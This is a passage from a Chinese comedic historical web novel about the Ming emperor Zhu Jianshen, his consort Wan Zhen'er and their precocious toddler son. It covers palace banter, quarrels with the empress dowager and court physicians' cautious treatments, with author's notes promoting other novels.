朱见深:“六弟你有心了。” 朱见泽顿时笑得很灿烂。“皇兄说笑了,这是弟弟该做的。再说侄儿玉雪可爱,能陪他玩耍,弟弟很高兴。” “用膳了没?没有用膳,就留在安喜宫陪朕用膳,等用了膳再回重华宫。” “皇兄,弟弟还想出宫一趟,看望长姐。” 重庆公主朱见微是大明战神的第一个女儿,备受宠爱,连名字都是随了皇子的辈分,取名朱见微。 重庆公主和朱见深的关系很好,也和万贞儿的关系不错。主要重庆公主和朱见深之间年龄就相差一岁。并且作为长姐,重庆公主没少帮衬万贞儿,让万贞儿能更好的照顾朱见深长大。 听闻这话,万贞儿也开口道。“既然崇王殿下要出宫看望重庆长公主,那本宫就厚着脸皮,将本宫为重庆长公主准备的礼物,托崇王殿下你带去。” “好说好说!”朱见泽没有拒绝,还说着保证一定送到的俏皮话儿。 朱佑棱在旁听得津津有味,还拿了奶瓶边喝奶边听,没曾想,还没吃几口奶,就被朱见深把奶瓶抢了。 朱佑棱:“” “你就知道欺负我。”朱佑棱鼓着包子脸,抱怨说。“父皇你再这样,儿子以后就杜绝你和娘亲亲密接触。” 朱见深:“” 这回轮到朱见深郁闷了。朱见深郁闷好久,确定朱佑棱不是开玩笑后,无奈的开口。“鹤归啊,不是父皇说你,做人啊特别是做儿子的,不能这样小气,还动不动的威胁人。有没有想过,父皇是你能威胁的人?” 朱佑棱:“这不就威胁了嘛!”—— 作者有话说:更新嘿嘿嘿! 顺便推荐姬友的一本男主无CP文。 《危险危险危险》ID:9779014 文案:本文又名《每次睁眼都在危险中》 第一个世界: 一朝醒来,陆危躺在狭小的出租屋中,脑海传来说话声—— 你是一名社畜,刚下夜班回来不久,忙碌的工作让你感到身心疲惫。 此刻,你的门外有人正在撬门,对方是十起连环碎.尸案凶手,还有一分钟即将破门而入,你选择—— 1.打开门,对凶手呸了一口,并说我是你爸爸! 2.打开门,对凶手啧了一声,并说兄弟你好快! 3.打开门,对凶手吹口哨,并说你屁.股真翘! 陆危:…… 陆危:我看你是想让我死! 第二个世界: 二次醒来,陆危被绑在手术台上,无影灯明亮而又刺眼—— 你是一名艺人,刚出席完一场宴会,半路遭人绑架。 对方是一名器.官非法贩卖者,还有一分钟即将为你实施手术,你选择—— 1.对歹徒目光哀怨,并说我就在这里,你看我有几分像从前? 2.对歹徒深情款款,并说我得了绝症,什么症?绝你不爱的症! 3.对歹徒目露欣赏,并说我是秦始皇,其实我没死! 陆危:…… 第29章 第029章 难道他说的话,不算明目张…… 难道他说的话, 不算明目张胆的威胁? 朱佑棱将小手手背在后面,挺着小肚腩,傲气十足的瞅着朱见深。 “父皇想喝奶,那就喝吧。孤不和父皇抢!” “谁说朕想喝奶了。”朱见深不承认自己纯属手欠, 看不惯朱佑棱看戏的时候, 还拿了瓶奶边喝边看。 臭小子才一岁多, 就这样狭促, 不知道遗传了谁。 得纠正毛病! 朱见深振振有词, 完全一副为儿砸好的模样。 朱佑棱开始斜眼看人。 “还说不想喝奶。”朱佑棱奶声奶气的说。“行了, 儿臣知道父皇不好意思, 不该将父皇想喝奶这事儿挑破的。就这样吧, 父皇你高兴就好。” 小小的老子, 不跟你计较! 朱佑棱很大方的表示自己不介意。 朱见深顿时成功的把自己郁闷了,他转而将矛头指向朱见泽。 “六弟,你越来越黑了,再这样下去,不怕被人暗地里叫黑毛猪?” 朱见泽:“我只是黑, 不胖。” 白白胖胖, 很是圆润的朱见深开始强调。“你会胖的。” 朱见泽:“” “要相信老朱家的优良血脉。”朱见深意味深长的又道。“所以啊,小六,你得注意, 别去晒太阳了,人白胖总比黑胖来得好看。” 这倒是真的! 如果一个人黑胖, 下意识会觉得丑,而如果白胖,就会觉得还可以,瘦下来的话, 一定很好看。 朱见深的话,虽说有一定看笑话的成分,但到底为了朱见泽好。 毕竟是同母的兄弟,身材相差大就罢了,不能肤色差别也大啊!不然被怀疑只是同母,不同父怎么办? “好好保养。”朱见深再次道。“等百年之后到了地府见到老祖宗,才能不被怀疑那啥。” 啥那啥? 不是! 亲哥! 你说清楚一点啊。 你这样说话,让弟弟很惶恐啊! 这一刻,朱见泽惊恐无比,就像受到很大惊吓的兔子,睁大眼睛不敢置信的看着朱见深。 朱见泽的反应,很好的愉悦了朱见深。 朱见深这才大发慈悲的放朱见泽一马,之后哪怕一起用膳的时候,朱见深也没有耍贱,直到朱见泽告辞准备出宫前往长公主府看望重庆公主的时候,才说了一句,替他向重庆公主问好的话。 不提朱见泽出宫到长公主府见了重庆公主后,怎样一副痛哭流涕的模样儿。只说紫禁城内,朱见深和朱佑棱又杠起来了。 不对,是朱见深单方面的杠,朱佑棱呢,就一副小小的老子,真的很无奈的模样儿。 他的小亲爹啊,真的时不时就要抽风一回。但今天,不知怎么回事,小亲爹居然抽风了多次。 现在的朱佑棱就是个满脸写满问号的小朋友,懵然的看着朱见深。 “父皇,皇祖母召唤你,你干嘛要带上我?” 是的!朱佑泽一走,周太后就打发女官来安喜宫请朱见深到慈安宫。朱见深其实挺不想去的,但是鉴于周太后是亲娘,不去不好,所以呢朱见深就想要带着朱佑棱一起去。 朱佑棱却不愿意一起去! 主要还是因为周太后,太事儿精。万一周太后的目的,只是将朱见深叫到跟前骂一顿呢,他跟着去,不是一块儿挨骂? 而一想到这个可能性,朱佑棱整个人都不好了。小小的老子,根本不想送上门挨骂啊!最主要的是,周太后骂他和小亲爹,根本就没法还嘴。 他更加不想,在一岁多不到两岁的年龄,就背负气病皇祖母的不孝罪名。 “父皇,你是大人了,要成熟稳重,不要什么事情都依靠旁人。” 朱见深:“臭小子,你是旁人?” “我是崽崽。”朱佑棱几乎呐喊道。“我还不到三岁(虚岁),还是个货真价实的孩子啊,作为亲爹的你,好意思带上崽一起挨骂。” “怎么说话呢,你皇祖母又不是泼妇,怎么会见人就骂。”朱见深说得很勉强,真是难为他了。周太后的极品,整个紫禁城乃至京城一带的人都知道,朱见深还要费心巴拉的说违心话语,真是太难了。 朱佑棱叹气,婴儿肥的腮帮子鼓鼓的,就像一只正在憋气的河豚,可爱又搞笑。 “好吧!看在娘亲的份上,孤这回就陪着父皇一起挨骂吧。”朱佑棱捧着肥嘟嘟的腮帮子,很是不情愿的说。“孤可太难了。” 朱见深直接被朱佑棱的反应气笑。 “你还太难了。朕才太难了。” 朱见深干脆直接动手,拎上朱佑棱,夹在咯吱窝,任由朱佑棱身体横着,就上了龙撵。而万贞儿全程在场,含笑看着,没有上手帮忙的意思。 朱佑棱再次叹气,还吐槽出声。“小小的老子,真是太难了。” 朱见深:“???” “你个臭小子,你充谁老子呢。”朱见深直接一巴掌拍在朱佑棱的屁股上。 朱佑棱捂住屁股,怒视朱见深。 “你就知道欺负我,有本事你上朝的时候,将那群老东西的屁股挨个打啊!” “老东西里,还是有真材实料的好官。”朱见深倒是心态很平和的说。“朕知道朕在某些读书人的眼中,是个不怎么样的皇帝。或许还是昏庸无能的昏君。可那又怎么样,如果朕在乎读书人的看法,大概朕早就失去朕的贞姐了。” 历史上,朱见深和万贞儿死在同一年。大他十七岁的万贞儿离世后,悲痛欲绝的朱见深连续罢朝七日,之后不久也跟着去了。 甚至于临死之前,朱见深都交代继位的朱佑樘不要为难万家人。朱佑樘倒是谨记了朱见深临终遗言,在某些大臣要求处置万家人,为暴毙而亡的纪氏伸冤时,拒绝处置万家人。 简单来说,万贞儿之于朱见深,是灵魂伴侣。失去了万贞儿,朱见深等于失去了灵魂。执意宠爱万贞儿,将万贞儿捧上皇贵妃的高位,付出的代价只不过是名声不好,朱见深根本不觉得损伤了啥。 “鹤归啊。”朱见深突然道。“朕登上皇位的那一天起,就明白了一个道理。咱们做皇帝的,最忌讳的是耳根子软,最重要的是脸皮厚心肝黑。读书人的话,好听的就听,不好听的,咱们当他们在放屁。” 朱佑棱点头,表示明白。 这时候朱见深又道。“鹤归小小年龄,就表现出了聪慧一面,朕作为父皇很是欣慰,但又怕慧极必伤,伤仲永的事儿发生,所以鹤归啊,有时候该藏拙就得藏拙。你要到三岁的时候,才会启蒙。” “三岁是虚岁,还是实岁?”朱佑棱却是问了一个挺偏的问题。 “鹤归想虚岁启蒙,还是实岁启蒙?” “虚岁也好,实岁也罢,反正就那么回事。”朱佑棱肥嘟嘟的小手一摊,挺臭屁的说。“放心好啦,我没那么蠢,什么都表现出来。” 朱见深点头,正巧慈安宫到了,父子俩也就没有再说话,而是同时迈着沉重的步伐,跟赶赴刑场一样,踏足慈安宫。 是的没错,周太后闹着要见朱见深,可没什么好心思,而是想要占据道德的最高点骂朱见深不孝。 周太后还是以为这样能够控制朱见深,以孝治国的年代,一国之君被亲娘指责不孝,是多大的罪名啊。 要是在意这点的,大概会被周太后的举动,弄出自闭症。可恰好,朱见深就不是那么在乎名声的人。 周太后的骚操作,对朱见深来说,并不具备威胁。但是呢,却让朱见深很是厌烦。老实讲,朱见深都不知道自己对周太后到底还能够忍耐多久。 朱佑棱瞄了一眼朱见深的脸色。 很好,漆黑如墨。当真说明了,此时的朱见深心情很不好。偏偏周太后就不是个会看脸色的,并不觉得朱见深的脸色难看。 看到朱见深后,周太后一开口就是指责。 “是不是要等哀家死了,你才来看哀家?” “你想死?”朱见深突兀冷笑。“白绫,鹤顶红,都可以。朕马上就要让人送来,你选好就上路。” 周太后估计没想到朱见深,居然会是这样的反应,当即被堵得懵逼至极,好半晌都没有回过神。 而好不容易回过神后,周太后的第一个反应却是暴跳如雷。 “好啊,哀家就说你是个不孝子,现在原形毕露了吧。” “父皇,皇祖母这是得了癔症吧。”不止朱见深不耐烦,就连朱佑棱也是同样不耐烦,当即开口打断,制止了周太后发疯。 周太后的视线顿时落在了小小一只的朱佑棱身上。 刚想开口说什么,又被朱佑棱打断。“皇祖母,其实吧,当初皇祖父给你封号应该是哑妃,皇祖母你长得不咋地,说话又不好听,适合安静的待着。” “雅?”朱见深迟疑。“优雅的‘雅’?” 朱佑棱含糊嗯了嗯。“父皇觉得是,那就是吧。” 朱见深瞬间懂了,根本不是优雅的雅,而是哑巴的哑。结合周太后不知所谓,越来越泼妇的形象,朱见深觉得,当初先帝爷不止该封周太后哑妃,还应该赐毒药毒哑了周太后,也就避免了朱见深时不时就要遭受周太后那‘你不孝你罪大恶极你不配当皇帝’的精神攻击。 说白了,周太后也就敢在朱见深的面前这样哔哔,要是换做万贞儿是朱见深,大概周太后早就暴毙而亡了。 可朱见深念着周太后到底是生母,很多时候都容忍了下来。没曾想,朱见深的退让容忍,反倒让周太后越发的蹬鼻子上脸。 比如现在,周太后大概意识到了情况不妙,当即就哭了起来。 “皇帝,先帝爷去了才多久啊,你就对哀家这个态度。嘤嘤嘤,先帝爷啊,你走的时候,怎么不把妾身一并儿带走啊。” “皇祖母不要觉得遗憾。”朱佑棱奶声奶气的抢着发言。“实在想念皇祖父,皇祖母现在就下去陪伴皇祖父也是可以的。” 朱见深:“” 周太后:“” 被挤兑得说不出话来的周太后直接捂住胸口,双眼一闭,直接昏厥过去。 “???”朱有棱惊讶满满,还道。“我的杀伤力有那么强大,还是说皇祖母的承受能力太差,连大实话都听不下去。” “去请太医吧。” 朱见深声音中明显带着点幸灾乐祸,还在高兴自己有先见之明,就朱佑棱这张嘴,别看现在年龄小,说话也奶声奶气,但杀伤力真的杠杠的。周太后这下子应该消停点了吧! 这么想着,朱见深还是像来之前那样,用咯吱窝夹着朱佑棱,就从慈安宫快速撤退。 周太后躺在地上没管,并非朱见深眼中没她这个亲娘,而是朱见深清楚的知晓,周太后气是气,但绝对没有气得昏厥过去。 说白了就是说不过朱佑棱这幼崽,气急之下打算用这样的方式摆脱尴尬,顺便给朱佑棱扣上不懂事的帽子。 而朱佑棱不愧是朱见深的亲儿子,父子俩的脑回路,简直一模一样。朱见深都不怎么在乎‘不孝’的名头,朱佑棱难道还在乎‘不懂事’的评价! 拜托,在搞这样的罪名之前,好好想想他的年龄。他才不到三岁,还是虚岁。三岁大的小屁孩,能懂什么事儿? 哪怕周太后想给他扣‘不懂事’的锅儿,多半最后锅儿会落到周太后的头上。毕竟能说自己不到三岁的亲孙子不懂事,周太后这做祖母的,又能懂事到哪儿去。 “父皇,儿子觉得吧,下次你捞儿子的时候,可以不必将儿子夹在你咯吱窝里。”朱佑棱坐在龙撵上,托着腮帮抱怨说。 “那你想要父皇怎么捞你?” “把我放在你脖子上啊。”朱佑棱直接就说,一点都不客气的道。“儿子是父皇你亲生的崽啊,父皇你要好好爱护我才对呀。” 朱见深:“但是父皇手无缚鸡之力,大概不能将你放在父皇的脖子上。” 顿了顿,朱见深到底还是忍不住怼了亲儿子一句。 “鹤归,你好像对你的体质,没有点数。”朱见深振振有词的说。“你上秤称了没有?你现在起码有40斤左右。” 为了方便计算,不是半斤八两一斤十六两,而是一斤十两。如果按照‘半斤八两’的模式计算,那朱佑棱的体重,就更加不得了了。 最起码‘十有九胖’的橘猫一个样儿,不小心就会压倒炕。 再加上夏天的时候为了凉爽,朱佑棱被剃了光头,脑袋圆溜溜的,再加上身子圆溜溜肥嘟嘟,都不是虚胖,手手脚脚上,都是实打实的肉肉。 “我还小。”朱佑棱强调。“以后会瘦下来的。” “以后是多久?长大后?”朱见深似笑非笑的问。 朱佑棱顿时炸毛了。 “父皇你怎么这么烦,你是大人,你胖得像白面包子,我说过你重吗!就知道欺负崽,父皇你不欺负崽,是不是心理不舒坦?” 被不到三岁幼崽指责的朱见深摸摸鼻子,讪讪然的笑笑。“鹤归,你不愧是朕的种,这脾气,简直青出于蓝而胜于蓝。” “都是被逼出来的!” 谁让小亲爹贱贱的,总喜欢撩|拨小小的老子。 朱佑棱十三月个大的时候,说话还不流畅,可十四个月以后,却口齿伶俐,能说一连串话。说不得,就是被朱见深‘逗崽’逗出来的。 哎,有这样的小亲爹,小小的老子又能有什么办法呢!只能当个霸道太子,纵容宠着小亲爹了。 之后气氛倒也和谐,这对父子俩没有再吵吵闹闹,等回了安喜宫,更是配合默契,跟万贞儿说起了在慈安宫的经历。 万贞儿其实挺生气的,不是气朱见深和朱佑棱这对父子,而是气周太后的不知所谓。她的崽才多大啊,周太后就想给他扣上‘不懂事’的帽子。 这是觉得她拎不动刀了,还是觉得她不敢收拾身为太后的她? 万贞儿心中冷哼,已经决定要好好收拾周太后一回,面上却没有表现出来。 “行了,既然知晓太后娘娘身体不爽利,那就别常去打扰。等有空闲了,我亲自去给太后娘娘探病。” 说到这儿,万贞儿又是璀璨一笑。“其实太后娘娘只是不会说话而已,心中还是有深郎的。不然也不会用乱七八糟的语言,控诉深郎好久没有登慈安宫大门看望她。” “她哪是心中有朕,她是心中只有六弟。”朱见深倒是见解独到的说。“要不是六弟实在乖觉,朕真的会满足她想要六弟时时刻刻陪伴她的心愿,送六弟净身!” 阿这! 要不要这么狠! 该为朱见泽庆幸,幸好一直乖觉,没有听周太后的话上跳下窜的捣蛋,不然准成大明第一位公公王爷,还是亲哥亲自操刀,才变成的公公王爷。 朱佑棱摸摸光滑溜溜的圆脑袋,突然发现一个问题。 “娘亲”朱佑棱惊恐万分。“儿砸好像不长头发了。” 万贞儿:“???” “鹤归,你不是一周前才又剔了头嘛。”万贞儿迟疑的说。“就是觉得胎发剃了后长出来的头发稀稀拉拉,这才又再次剃了一次。” 朱佑棱委屈的瘪嘴。 他是小孩子啊,小孩子新陈代谢快。指甲头发隔一段时间不处理,就会长得老长。 他的指甲是这样,头发也应该是这样。不说头发冒出来,至少摸起来要扎手吧。可偏偏 光滑溜溜,苍蝇站上去,估计都得劈叉跳个舞。 朱佑棱越琢磨越伤心,最多嘴巴瘪得更加厉害,下一刻眼泪就夺框而出。 “┭┮﹏┭┮呜呜呜,宝没有头发了。呜呜呜,宝要成少林寺俗家和尚了。” “老祖宗也是少林寺的俗家和尚。”朱见深在旁笑着火上浇油。 万贞儿:“” 万贞儿哭笑不得的白了朱见深一眼,赶紧搂着朱佑棱安慰说头发总有一天会长出来的,让朱佑棱不要太过于焦躁。 “苍蝇怎么可能站上去就劈叉呢。”万贞儿哭笑不得的安慰。“你啊,人小鬼大,连这样的话,都能想到说出口。” 朱佑棱啜泣的说。“娘亲说的总有一天,是哪一天啊,不会是半年或者一年以后吧。” “这样的问题要问太医。”万贞儿掏出手绢,给朱佑棱擦拭眼泪。“一会儿娘亲让小翠去找汪太医,要点生发的膏药如何?” 朱佑棱点头,然鹅下一刻,朱佑棱的小肚子居然发出了‘咕咕’的声音。 “饿了!”朱见深哈哈大笑,“鹤归你看看你,饿得真快,怪不得长得那么胖。” 朱佑棱:“” “这是福气。”朱佑棱傲娇的哼了哼。“我还小呢,能吃就是福气。” “对。能吃就是福气。”万贞儿乐呵呵的让小红赶紧去把小厨房灶台上一直温着的虾仁冬瓜粥端上来。 虾仁取用当天现捞现杀的新鲜河虾,冬瓜则切成小丁,和粳米一起煮得烂熟,根本就看不出来。 更是放了少许精盐调味,又在出锅的时候,放了少许香油,切得碎碎的青菜点缀。 每回吃粥,不拘粥的种类,朱佑棱都能吃一大碗。还保持着温热的虾仁冬瓜粥也是如此。 朱佑棱不要任何人喂食,自己拿着小勺子吃得津津有味,不一会儿的功夫,一大碗虾仁冬瓜粥就吃完了。而这个时候,朱见深和万贞儿也开始用膳了。 朱佑棱没有继续打扰的意思。他揉了揉眼睛,出声让小翠抱自己回房间。 “太子殿下这是困了。” 小翠手脚利索的抱起朱佑棱,朝着西暖阁走去。朱佑棱平日里就住在西暖阁,而东暖阁则是万贞儿的寝室。 隔了正殿大厅,平日里有什么动静,除非大的,不然很难听到。所以一般朱佑棱午睡,要吗小红守着要吗小翠守着。 今儿抱着朱佑棱进屋睡觉的是小翠,但守着的人却是小红。小翠还要去太医院找汪太医要生发的药膏,因此和小红交接后,就去了太医院那边。可真巧了,今儿当差的太医,恰好便是以汪太医为首—— 作者有话说:更新o(* ̄︶ ̄*)o 明天上夹子!大概晚上11点更新哦,我尽量多更点! 嘿嘿嘿,今天搞了个预收! 【成了流放文中的极品对照组!】 文案:作为新时代懒货联盟的盟主,姐姐许梦长得出奇的漂亮,但标准的吃啥啥不剩,干啥啥不行,除了一张漂亮的脸蛋外,没有任何优点。 作为新时代坑货联盟的盟主,弟弟许归本人出奇的坑爹却出奇的聪明,属于别人家的孩子。许归聪明归聪明,但却熊得出奇,上能鞭炮炸茅坑,下能拳打脚踢打遍幼儿园无敌手。主打熊上天际,坑人没商量。 有一天,这对奇葩的姐弟穿越了,穿越成流放文中的女主一家的极品对照组,一对为了在流放过程中活下去,什么糟心事儿都敢干的奇葩母子。 许梦:阿这,除了美貌一无所有的我,为了活下去,训狗一样训孩子他爹,不是正常的? 许归:阿这,除了聪明一无所有的我,为了活下去,无所不用其极坑别人,不是正常的? 喜欢的话,就收藏呗! 第30章 第030章 汪太医善儿科,其他方面其…… 汪太医善儿科, 其他方面其实也略懂。但是呢,在目前宫里只有朱佑棱这么一位儿童的情况,汪太医的日子不要太清闲。哪怕其他太医们再忙,都不会找汪太医帮忙。不是排挤, 而是大家的刻板印象是, 汪太医是朱佑棱的专属太医。 汪太医因此, 也乐得清闲。该他当值的时候, 乐滋滋的拿着一本医书窝在太医院, 仔仔细细的翻看。 小翠来的时候, 汪太医正对着医书里的人体经脉图, 发出连连的惊叹声。 小翠白眼一翻, 暗骂一句德性, 才出声喊汪太医。 “姐夫,看书呢!” 汪太医直接被这‘姐夫’的称呼吓得连人带板凳的摔地上。 “小翠哦,你可别这样叫我,吓死人了。” 汪太医从地上爬起,还惊魂未定的拍着胸口, 大有自己受到了很大惊吓的架势。 小翠开始狂翻白眼, 也不忙着说话了。 “小翠姑娘来找我干嘛。”汪太医小心翼翼的问。 小翠:“生发膏药,给小殿下用的。” “???”汪太医怀疑自己耳朵出了问题,不然怎么听到了如此离谱的话语。“为何小殿下要用生发药膏。” “小殿下今儿因为头发问题哭了。”小翠苦恼的说。“还说他现在脑袋圆溜溜的, 苍蝇站上去都会劈叉。” 汪太医:“一周前,太子殿下第二次剃头, 是由我亲自操刀的。才一周时间,头发长不出的。最起码也得半个月。” “要不你去跟小殿下说?”小翠哼了哼,又道。“看小殿下能不能听你的。” 汪太医:“” “有什么不伤肤质,效果好的生发膏药, 你赶紧拿出来。别耽误时间了。” “我手上没有,得调配。” “那你赶紧调配啊。不是我说你姐夫,你看看你一大把年龄了,本就虚得很,现在还有了耳聋的毛病。” “小翠,你说这话过分了啊。” 汪太医这回是真的感到糟心,为什么他的师姐会有这样的妹妹,关键还混成了万皇贵妃身边的第一得意人,颇受万皇贵妃的看重。 他连教训,好像都不能,不然回家后师姐都得教训他。 “稍微等等。”汪太医憋屈的说。“我现在就调配一份生发膏药。” 汪太医选择以何首乌、黑芝麻、黑豆等原料为主,精心调配了一份生发膏药。 特意调和成糊糊状,告诉小翠将糊糊状态的生发膏药抹在脑袋上,等半个时辰左右,就将糊在脑袋上的生发膏药洗干净就成。 “用了能保证长出头发?” “总归没什么害处就是了。” 小翠这才道了谢,拿上生发膏药离开太医院。而小翠一走,汪太医大大的松了一口气。 “你小姨子可真厉害”不知从哪儿冒出个头发花白的老者,心有余悸的道。“这张嘴哦,越来越伶牙俐齿。” “师叔既然知晓,为何躲着?” “嘿,你个臭小子,不躲着,难道和你一样被嫌弃?”老者振振有词。“咱们做太医的,讲究的不是医术有多好,而是平稳。擅长开太平方,才是真平稳之道。” 汪太医:“这话你得去小翠面前说,看她会不会啐你一口浓痰。” 老者:“” “老夫不跟泼妇一般见识。” 汪太医呵呵冷笑,表示自己也不想和意识不到小翠凶残属性的老登儿一般见识。 不提这对师侄俩的争锋相对,且说小翠拿回糊糊状的生发膏药后,朱佑棱就开始使用,大概使用了半个月左右吧,朱佑棱成功长出头发,就是跟癞头一样,头发长得东一块西一块的。 这样离谱的生发效果,顿时让朱佑棱整个人不好了。 “剃掉剃掉,赶紧给孤剃掉。” 朱佑棱整个人暴跳如雷,也不说‘小小的老子’什么的,整个人就是无法接受自己成了癞头的崩溃状态。 这个时候,朱见深这位时常坑崽的小亲爹,居然没有大肆的嘲笑。还宽慰朱佑棱说多剔几次,头发就能长得均匀,不会再东一块西一块的。 朱佑棱:“真的?” “当然是真的。父皇小时候也爱剔光头。”朱见深正色的说。“夏天凉快,不用多打理,冬天的话,怕冷就带上帽子,一样保暖。” 说到这儿,朱见深还笑摸儿子的狗头。 “不过说真的,鹤归啊,你的脑袋挺圆的。” “你撸狗呢!” 朱佑棱气呼呼,倒是忘了计较癞头这回事。与其癞头,还不如继续当个澄光瓦亮的小和尚呢。 但朱佑棱忘了计较,是他的事,自觉把小殿下坑了的小翠,却偏偏要计较。 而她计较是怎么做的,直接气势汹汹的杀向太医院,将可怜的汪太医骂了一通。 汪太医:“” 好消息:小殿下用了他制作的生发膏药,长出头发了。 坏消息:头发是长了,但长得东一块西一块的,害得小殿下更伤心了! 汪太医赶紧冷汗津津的承认错误。 “要不,从药膳方面进行食疗?”汪太医小心翼翼的提议。“待会儿我给你写几个对身体有益处的药膳方子,你拿回去给小殿下变着花样儿吃,假以时日,相信小殿下不止头发如泼墨,身体也倍棒儿。” 小翠却不接着,而是眯着眼睛上下打量汪太医。 汪太医被小翠看得心里头毛毛的,好半晌都不知道该什么说话。 “我虽精通儿科,但其他方面略有涉及,还算拿得出手。” “对!其他方面的确拿得出手,看看小殿下用了你特意调配的生发膏药,倒是长了长发,可东一块西一块的,惹得小殿下哭得伤心极了。” 汪太医:“” “小翠姑娘,到底要不要药膳方子。”汪太医几乎咬牙切齿的问。按照小翠骂的,他还不如保守一点,调配一剂能生发的太平方呢。 “要怎么不要。”小翠哼了哼,又道。“要效果温和的,即使没有生发的效果,对身体也有好处的药膳方子。” 汪太医对小翠的不客气,没有说什么,当即就动笔写了10道药膳方子。 “换着做给小殿下吃,保证小殿下身体健健康康。” 汪太医从万贞儿怀孕的那一天起,就为万贞儿调理身体。万贞儿到底上了年龄,换做后世也是高龄产妇。 身体各方面都比不上小年轻,自然需要一位精通儿科,其实该说是妇儿科的太医随时候着。 即使如此,万贞儿依然早产了,不过恢复倒快,而朱佑棱的身体原先说体弱,得精细养着,现在嘛,健健康康,不说孔武有力,但也是个敦实的小胖纸。 小翠拿过10道药膳方子,勉强决定放汪太医一马。 “先试试,要是效果不好,我还得找你。”小翠正色道。“我想汪太医也不想我有一天出宫探亲,是去的汪太医的府上,而不是姐姐的娘家。” 汪太医:“” 大概真的被威胁到了吧,汪太医在小翠走后很长一段时间都战战兢兢。 并且闲得抠腚,哪怕慈安宫那边传来不好的消息,周太后和几名太妃一起病了,太医院的太医们几乎抢着去慈安宫问诊,人都差点打起来,都没有想起他这个大活人。 不过秋去春来,万物又一次复苏的时候,汪太医不闲了,他出宫为重庆公主所生长子周忠看病。 成化四年的年景依然不是很好。受小冰川时代的影响,成化三年自入冬以后,就异常的寒冷。在成化四年春节时期,达到了巅峰。 本是冬春交际的时候,京城大范围开始下起雨夹雪。寒冷入骨,不少家庭的老人孩子都病了。 宫里的周太后、以及明英宗孝庄睿皇后钱氏,几名太妃和重庆公主的长子周忠都病了。 钱太后病得很重,她是朱祁镇的元后,和生了朱见深的周太后,两宫太后并立。 朱见深和生母周太后关系不好,但和钱太后的关系挺不错的。至于两宫太后的关系嘛,也不算好。 朱祁镇复辟为帝时,曾有大臣提议改立周氏为太后,而非钱氏。朱祁镇不愿,就封了周氏皇贵妃。 也因为此,周太后和钱太后的关系很不好。周太后住慈安宫,钱太后住慈宁宫,两宫距离很近,但偏偏日常没交集,如今一起病了 周太后闹着说给钱太后看病的太医医术更好,天知道,其实给周太后、钱太后以及几名同样生病的太医,都是同一人(就是汪太医的师叔)。 至于其他太医,则是早出晚归,为京城某些权贵家中生病的老人小孩问诊。 太医院的太医们,虽说各有偏长,但医术都很好。唯一不好的一点在于,他们很擅长开太平方。 简单来说,太平方的核心思想是“平和”、“稳妥”,追求用药如用兵,不伤正气,以调和身体平衡为目的。 要知道人生病了看大夫,追求的肯定是药到病除,而追求‘平和’‘稳妥’的太平方,治愈人的过程是缓慢、持久的,副作用小且安全性高,其实只适合拥用来养生以及调理体虚。 像这回由于气候寒冷,导致的病来势汹汹,用太平方并不恰当。应该用药效猛烈、峻急,讲究攻伐有力的‘霸道方’。 可为了稳妥,不管是给太后还是太妃问诊治病,选用的方子,都是太平方。 倒是给重庆公主长子,小小年龄就获封锦衣卫指挥使的周忠看病的汪太医,并没有采取被誉为‘王道’的太平方,而是选的攻伐有力,能快速祛除病邪的‘霸道方’。 只吃了几剂汤药,周忠就差不多好了。反倒是服用了太平方的两宫太后,以及几位太妃,时好时坏,还几次陷入危及的情况中。 看到这样的情况,朱见深很是生气。 “重病下重药,这么简单的道理,连朕都懂,怎么你们一个个经验老道的太医,反倒一心求稳。” “政务上可以求稳,不可激进。怎么大夫给人看病,也要讲究平安无过。” 太医院们的太医你看我,我看你,到底还是不敢冒头,下猛药治疗两宫太后以及几位太妃。 万贞儿也在慈宁宫,这回她没有带上朱佑棱,甚至临出安喜宫的时候,还命令宫人紧闭安喜宫的大殿门。不准外人来,也不准朱佑棱出去玩。 并且想着倒春寒的时节,更加要注意保暖,还让人将暖阁的火龙烧得旺旺的,让朱佑棱就待在暖阁,哪儿都不许去。 朱佑棱心知肚明万贞儿为何如此紧张,倒没有使小性子,闹着要出去,万贞儿一离开,他就自顾自的玩耍。 此时殿外,又下起了雪,还夹着小雨,寒风一吹,冷得人缩脖子。万贞儿穿着厚重的冬装,并没有换相对薄一点儿的春装,披着的狐裘斗篷在抵达慈宁宫的时候就取下,放置在角落的挂衣架上。 大殿里,银盆中的炭火烧得旺旺的。朱见深走来走去,神色带着很明显的怒火。 几位被骂的太医,说着惶恐二字,神情却一点儿也不惶恐。 万贞儿开道。“按照你们的做法,两宫太后还有多少时日可活。” 此言一出,几位太医面面相觑,不知道该如何回答。这所谓的太平方,一般之所以开出来,其主要的目的,就是为了安全性。这个安全性呢,不光指的病人,更多的是太医。 要是开的药方太激进,吃死人怎么办?他们作为被皇家掌控生死的太医,可不想因此陪葬。 所以小病用太平方治,大病也用太平方治。无功也无过。也就小汪(汪太医)那个蠢的,才会‘激进’的选择霸道方,救活了人也就罢了,可要是治死了 就重庆公主在两任帝王那儿的受宠程度,不被责罚那才奇了怪。也就小汪运气好,恰好把周忠小儿治好了。 “回禀皇贵妃娘娘,两宫太后病情严重,加之上了年龄,所用药物,都得细细琢磨,唯恐药材与药材之间产生相克。” 朱见深听了似信非信,万贞儿却全然不信。可不信归不信,这个时候却不好开口斥责太医,只能尽量用温和的语气,询问继续太平方治能活多久,用猛药的话又能活多久。 “给本宫说个具体的时间。”万贞儿神色淡然的说。“别跟本宫说什么医理,本宫不懂,本宫只需要知道,按照你们的说法,两宫太后接下来是好还是坏。” “皇贵妃娘娘,这微臣不敢保证。” “对对对,不敢保证。” 万贞儿:“” 万贞儿表示自己没招儿了,让朱见深自己看着办。 朱见深能怎么办,他其实最先没招儿。 “仔细盯着两宫太后,还有太妃那儿,继续好药伺候着。”朱见深沉默数秒,开口说。 “朕别无所求,只求尔等多用用心。” “臣等惶恐,必定好好照顾两宫太后并几位太妃娘娘。” 朱见深肉眼可见的烦躁起来,他又走动几步,就对万贞儿说。“贞姐,朕去母后那里看看。你在慈宁宫这儿盯着点,朕始终对他们不太放心。” 说着,朱见深还瞪向几名太医。 惶恐? 屁的惶恐。 差点飙脏话的朱见深转身离开,去了隔壁的慈安宫。和住慈宁宫的钱太后相比,周太后的病要轻得多。 此时的她哪怕病着,依然精神劲儿十足。朱见深到的时候,甚至能听到她中气十足的吼她跟前伺候的女官,质问为什么要将朱见泽请来。 是的,朱见泽也在。刚来不一会儿,是女官‘会错意’将朱见泽请来照顾亲娘的。 朱见泽其实不想来照顾周太后,孝心是有,但更多的觉得自己来根本没什么用,反而会接受周太后一切的负面情绪。 